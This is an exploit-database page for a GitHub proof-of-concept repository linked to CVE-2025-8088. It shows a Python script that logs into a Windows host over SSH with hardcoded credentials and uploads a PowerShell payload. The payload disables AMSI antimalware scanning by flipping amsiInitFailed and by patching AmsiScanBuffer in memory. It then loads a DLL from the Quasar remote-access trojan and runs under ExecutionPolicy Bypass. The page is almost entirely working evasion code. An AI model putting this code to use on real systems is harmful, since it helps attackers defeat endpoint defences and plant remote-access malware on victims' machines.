Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files52Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage02_PowerShell/exploit/test_amsi_only.py

Python · 1,953 bytes
import paramiko, time

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)

# Minimal AMSI bypass test
ps1 = '''$k32 = Add-Type -memberDefinition @"
[DllImport("kernel32",CharSet=CharSet.Auto)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32",CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32",SetLastError=true)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@ -name "K32" -namespace Win32Functions -passthru

Write-Host "Add-Type OK"

# amsiInitFailed
try {
    [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
    Write-Host "L1 OK"
} catch { Write-Host "L1: $_" }

# Patch
try {
    $ptr = $k32::GetProcAddress($k32::GetModuleHandle("amsi.dll"), "AmsiScanBuffer")
    if ($ptr -ne [IntPtr]::Zero) {
        $patch = [byte[]]@(0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3)
        $old = 0
        $k32::VirtualProtect($ptr, [UIntPtr]6, 0x40, [ref]$old)
        [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $ptr, 6)
        Write-Host "L2 OK"
    }
} catch { Write-Host "L2: $_" }

# Test LoadFrom a known blocked file
try {
    $a = [Reflection.Assembly]::LoadFrom("C:\\Users\\Public\\Quasar.Common.dll")
    Write-Host "LoadFrom OK: $($a.FullName)"
} catch { Write-Host "LoadFrom: $_" }

Write-Host "DONE"
'''

sftp = ssh.open_sftp()
with sftp.open('C:\\Users\\Public\\test_amsi_only.ps1', 'w') as f:
    f.write(ps1)
sftp.close()

stdin,stdout,stderr = ssh.exec_command(
    'powershell -STA -ExecutionPolicy Bypass -File "C:\\Users\\Public\\test_amsi_only.ps1"', timeout=15)
out = stdout.read().decode('gbk', errors='replace')
print(out[:2000])

ssh.close()